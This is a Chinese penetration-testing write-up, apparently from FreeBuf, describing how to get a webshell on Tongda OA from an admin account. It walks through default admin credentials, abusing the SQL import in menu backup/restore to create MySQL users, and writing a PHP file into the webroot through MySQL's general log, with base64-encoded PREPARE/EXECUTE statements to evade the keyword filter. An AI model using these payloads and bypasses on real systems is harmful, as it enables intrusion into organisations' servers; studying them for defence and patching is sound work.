shang殇
- 关注
0x01 前言
最近就是一直在搞通达OA注入方面,这是一个偶然看到的一个点,不过现在通达OA有管理员权限getshell方法还是很多的,这次就当涨个知识点吧
0x02 复现
先使用管理员账户登录,user:admin passwd:默认为空
进入页面,点击系统管理->菜单设置->点击菜单备份/恢复
进入页面后,发现可导入sql语句,但盲测是可以无回显的,编写.sql文件 写人create user 'shang_shell'@'%' identified by 'admin';:
上传测试一下:
开启一个终端,使用mysql测试一下创建的用户是否可以连接:
看到是可以连接成功的,代表是可以执行任何sql语句,现在来试试给shang_shell用户提权:sql语句为:grant all privileges on *.* to 'shang_shell'@'%';
继续上传测试
发现报错了,在网上找了点资料,猜测是当前使用的用户是无法给其他用户赋予权限,现在这条路已经死了,翻了翻资料,mysql用户管理员权限能干些什么事,就比如日志getshell,二话不说直接就干
在oa.sql文件中写入开启临时开启日志的命令,在上传上去:
set global general_log = on;
set global general_log_file = "C:\MYOA\webroot\shang.php";
select "";
set global general_log = off;
这里的一句话木马不要添加引号什么的,会被直接转义,现在继续上传
发现被过滤了,进代码去看一下
好家伙,过滤了还不少,常用的都基本被过滤完了, 现在也是没什么思路,喝了一杯98年的可乐,冷静冷静,果然喝完就明白了很多,可以使用base64编码来加密,然后使用自定义变量接到,在使用 prepare和EXECUTE来执行语句,完成日志写shell的操作,开工
编写sql文件:
set @sql := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg=='));
PREPARE stmt_name from @sql;
EXECUTE stmt_name;
set @admin:= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicms9vdFxcbG9naW4ucGhwIg=='));
PREPARE stmt_names from @admin;
EXECUTE stmt_names;
select "";
set @sqls := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg=='));
PREPARE stmt_namea from @sqls;
EXECUTE stmt_namea;
注意:'c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicms9vdFxcbG9naW4ucGhwIg== 这里因为敏感词的原因加了些字符,明文为:set global general_log_file="C:\MYOA\webroot\login.php"
上传开干:上传成功,绕过成功,现在日志shell已经写好,现在使用蚁剑来连接,日志文件在 web根目录下 login.php:
0x3 结语
成功getshell,不过美中不足的是不能执行命令,小弟太菜了,另外在此感谢几位大佬在渗透中给的思路
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


